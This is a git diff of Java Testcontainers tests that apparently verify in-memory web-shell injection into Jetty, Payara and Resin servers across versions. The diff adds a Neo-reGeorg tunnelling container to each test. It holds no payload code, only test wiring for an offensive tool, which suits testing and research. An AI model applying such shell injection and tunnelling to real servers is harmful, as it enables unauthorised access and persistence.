||||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,6 +67,6 @@ public class Jetty11ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty61ContainerTest {
|
public class Jetty61ContainerTest {
|
||||||
public static final String imageName = "reajason/jetty:6.1-jdk6";
|
public static final String imageName = "reajason/jetty:6.1-jdk6";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +66,6 @@ public class Jetty61ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty76ContainerTest {
|
public class Jetty76ContainerTest {
|
||||||
public static final String imageName = "reajason/jetty:7.6-jdk6";
|
public static final String imageName = "reajason/jetty:7.6-jdk6";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -56,6 +65,6 @@ public class Jetty76ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty81ContainerTest {
|
public class Jetty81ContainerTest {
|
||||||
public static final String imageName = "reajason/jetty:8.1-jdk7";
|
public static final String imageName = "reajason/jetty:8.1-jdk7";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -56,6 +65,6 @@ public class Jetty81ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -33,11 +35,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
public class Jetty92ContainerTest {
|
public class Jetty92ContainerTest {
|
||||||
|
|
||||||
public static final String imageName = "jetty:9.2-jre7";
|
public static final String imageName = "jetty:9.2-jre7";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +66,6 @@ public class Jetty92ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty93ContainerTest {
|
public class Jetty93ContainerTest {
|
||||||
public static final String imageName = "reajason/jetty:9.3";
|
public static final String imageName = "reajason/jetty:9.3";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -56,6 +65,6 @@ public class Jetty93ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty94ContainerTest {
|
public class Jetty94ContainerTest {
|
||||||
public static final String imageName = "jetty:9.4-jre8";
|
public static final String imageName = "jetty:9.4-jre8";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +66,6 @@ public class Jetty94ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Payara5201ContainerTest {
|
public class Payara5201ContainerTest {
|
||||||
public static final String imageName = "reajason/payara:5.201";
|
public static final String imageName = "reajason/payara:5.201";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class Payara5201ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Payara520225ContainerTest {
|
public class Payara520225ContainerTest {
|
||||||
public static final String imageName = "reajason/payara:5.2022.5";
|
public static final String imageName = "reajason/payara:5.2022.5";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class Payara520225ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Payara620222ContainerTest {
|
public class Payara620222ContainerTest {
|
||||||
public static final String imageName = "reajason/payara:6.2022.2-jdk11";
|
public static final String imageName = "reajason/payara:6.2022.2-jdk11";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class Payara620222ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -33,11 +35,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Resin3116ContainerTest {
|
public class Resin3116ContainerTest {
|
||||||
public static final String imageName = "reajason/resin:3.1.16";
|
public static final String imageName = "reajason/resin:3.1.16";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
|
